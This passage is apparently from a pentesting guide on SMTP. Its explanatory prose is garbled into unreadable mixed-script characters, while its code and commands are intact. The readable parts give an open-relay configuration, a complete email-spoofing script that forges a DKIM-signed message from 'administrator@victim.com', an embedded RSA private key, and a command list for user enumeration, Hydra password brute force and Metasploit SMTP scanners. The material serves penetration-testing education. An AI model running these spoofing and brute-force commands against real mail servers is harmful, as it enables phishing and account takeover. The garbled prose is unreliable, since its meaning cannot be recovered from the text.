рдбреЗрдорди рдкреНрд░рд╢реНрди: рдЙрдкрдбреЛрдореЗрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?
рдпрджрд┐ рдореБрдЭреЗ pielovers.demon.co.uk рд╕реЗ рдореЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИ, рдФрд░ pielovers рдХреЗ рд▓рд┐рдП рдХреЛрдИ SPF рдбреЗрдЯрд╛ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХреНрдпрд╛ рдореБрдЭреЗ рдПрдХ рд╕реНрддрд░ рдкреАрдЫреЗ рдЬрд╛рдХрд░ demon.co.uk рдХреЗ рд▓рд┐рдП SPF рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП? рдирд╣реАрдВред рдбреЗрдорди рдкрд░ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдПрдХ рдЕрд▓рдЧ рдЧреНрд░рд╛рд╣рдХ рд╣реИ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдЧреНрд░рд╛рд╣рдХ рдХреА рдЕрдкрдиреА рдиреАрддрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрд╣ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрдПрдЧрд╛ рдХрд┐ рдбреЗрдорди рдХреА рдиреАрддрд┐ рд╕рднреА рдЧреНрд░рд╛рд╣рдХреЛрдВ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛ; рдпрджрд┐ рдбреЗрдорди рдРрд╕рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП SPF рд░рд┐рдХреЙрд░реНрдб рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП SPF рдкреНрд░рдХрд╛рд╢рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд▓рд╛рд╣ рдпрд╣ рд╣реИ: рдЖрдкрдХреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдбреЛрдореЗрди рдпрд╛ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ SPF рд░рд┐рдХреЙрд░реНрдб рдЬреЛрдбрд╝рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдореЗрдВ A рдпрд╛ MX рд░рд┐рдХреЙрд░реНрдб рд╣реЛред
рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб A рдпрд╛ MX рд░рд┐рдХреЙрд░реНрдб рд╡рд╛рд▓реЗ рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдкрд╛рд╕ рднреА рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб SPF рд░рд┐рдХреЙрд░реНрдб рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕ рд░реВрдк рдореЗрдВ: * IN TXT "v=spf1 -all"
рдпрд╣ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ - рдПрдХ рдЙрдкрдбреЛрдореЗрди рднреМрдЧреЛрд▓рд┐рдХ рд░реВрдк рд╕реЗ рдЕрд▓рдЧ рд╕реНрдерд╛рди рдкрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ SPF рдкрд░рд┐рднрд╛рд╖рд╛ рдмрд╣реБрдд рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдУрдкрди рд░рд┐рд▓реЗ
рдЬрдм рдИрдореЗрд▓ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рд╕реНрдкреИрдо рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░рд┐рд▓реЗ рд╕рд░реНрд╡рд░ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЪреБрдиреМрддреА рдпрд╣ рд╣реИ рдХрд┐ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдпрд╣ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ рдХреМрди рд╕реЗ IP рд░реЗрдВрдЬ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ ред рдЗрд╕ рд╕рдордЭ рдХреА рдХрдореА SMTP рд╕рд░реНрд╡рд░ рдХреЛ рд╕реЗрдЯрдЕрдк рдХрд░рдиреЗ рдореЗрдВ рдЧрд▓рддрд┐рдпреЛрдВ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рдиреЛрдВ рдореЗрдВ рдЕрдХреНрд╕рд░ рдкрд╣рдЪрд╛рдиреА рдЬрд╛рддреА рд╣реИред
рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдЬреЛ рдХреБрдЫ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдИрдореЗрд▓ рд╡рд┐рддрд░рдг рд╕рдорд╕реНрдпрд╛рдУрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдпрд╛ рдЪрд▓ рд░рд╣реЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рд╡рд╣ рд╣реИ рдХрд┐рд╕реА рднреА IP рдкрддреЗ рд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ ред рдпрд╣ SMTP рд╕рд░реНрд╡рд░ рдХреЗ mynetworks
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕рднреА IP рдкрддреЗ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
Copy mynetworks = 0.0.0.0/0
рдИрдореЗрд▓ рд╕рд░реНрд╡рд░ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдПрдХ рдУрдкрди рд░рд┐рд▓реЗрдЬ рд╣реИ (рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдХрд┐рд╕реА рднреА рдмрд╛рд╣рд░реА рд╕реНрд░реЛрдд рд╕реЗ рдИрдореЗрд▓ рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ), nmap
рдЯреВрд▓ рдХрд╛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдЗрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрдХ рд╕рд░реНрд╡рд░ рдкрд░ рд╡рд░реНрдмреЛрдЬрд╝ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, IP 10.10.10.10 рдХреЗ рд╕рд╛рде) рдкреЛрд░реНрдЯ 25 рдкрд░ nmap
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдХрдорд╛рдВрдб рд╣реИ:
Copy nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Tools
Send Spoof Email
рдпрд╛ рдЖрдк рдПрдХ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
Copy # This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
рдпрджрд┐ рдЖрдкрдХреЛ dkim python lib рдореЗрдВ рдХреБрдВрдЬреА рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рддреЗ рд╕рдордп рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ, рддреЛ рдЗрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдВрдХреЛрдЪ рди рдХрд░реЗрдВред
рдиреЛрдЯ : рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рдЧрдВрджрд╛ рдлрд┐рдХреНрд╕ рд╣реИ рддрд╛рдХрд┐ рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХреЗ рдЬрд╣рд╛рдБ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ openssl рдирд┐рдЬреА рдХреБрдВрдЬреА dkim рджреНрд╡рд╛рд░рд╛ рдкрд╛рд░реНрд╕ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреА ред
Copy -----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
рдпрд╛ рдЖрдк рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
# рдпрд╣ рдПрдХ рдмрд┐рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓рд╛ рд╕рдВрджреЗрд╢ рднреЗрдЬреЗрдЧрд╛mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП https://seanthegeek.net/459/demystifying-dmarc/
рдЕрдиреНрдп рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╕рдВрдХреЗрддрдХ
рдбреЛрдореЗрди рдХреА рдЖрдпреБ
рдЖрдИрдкреА рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд▓рд┐рдВрдХ
рд▓рд┐рдВрдХ рд╣реЗрд░рдлреЗрд░ рддрдХрдиреАрдХреЗрдВ
рд╕рдВрджрд┐рдЧреНрдз (рдЕрд╕рд╛рдорд╛рдиреНрдп) рдЕрдЯреИрдЪрдореЗрдВрдЯ
рдЯреВрдЯреА рд╣реБрдИ рдИрдореЗрд▓ рд╕рд╛рдордЧреНрд░реА
рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдорд╛рди рдЬреЛ рдореЗрд▓ рд╣реЗрдбрд░ рд╕реЗ рднрд┐рдиреНрди рд╣реИрдВ
рдПрдХ рдорд╛рдиреНрдп рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп SSL рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡
рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдкреГрд╖реНрда рдХрд╛ рд╕рдмрдорд┐рд╢рди
SMTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди
рдпрджрд┐ рдЖрдк SMTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдкрдврд╝реЗрдВ ред
рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓
рдкреЛрд╕реНрдЯрдлрд┐рдХреНрд╕
рдЖрдорддреМрд░ рдкрд░, рдпрджрд┐ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рддреЛ /etc/postfix/master.cf
рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВ рдЬрдм рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдореЗрд▓ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрдВрдХреНрддрд┐ flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}
рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ /etc/postfix/filtering
рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдирдпрд╛ рдореЗрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред
рдЕрдиреНрдп рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ:
Copy sendmail.cf
submit.cf
рд╕рдВрджрд░реНрдн
HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЖрджреЗрд╢
Copy Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
рдЕрдкрдиреЗ рд╡реЗрдм рдРрдкреНрд╕, рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдкрд░ рдПрдХ рд╣реИрдХрд░ рдХрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
рдорд╣рддреНрд╡рдкреВрд░реНрдг, рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдкреНрд░рднрд╛рд╡ рд╣реИред рд╣рдорд╛рд░реЗ 20+ рдХрд╕реНрдЯрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХрд░реЗрдВ, рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдФрд░ рдЖрд╡рд╢реНрдпрдХ рд╕рдмреВрдд рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХрд╛ рдХрдард┐рди рдХрд╛рдо рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рдмрджрд▓ рдЬрд╛рдПред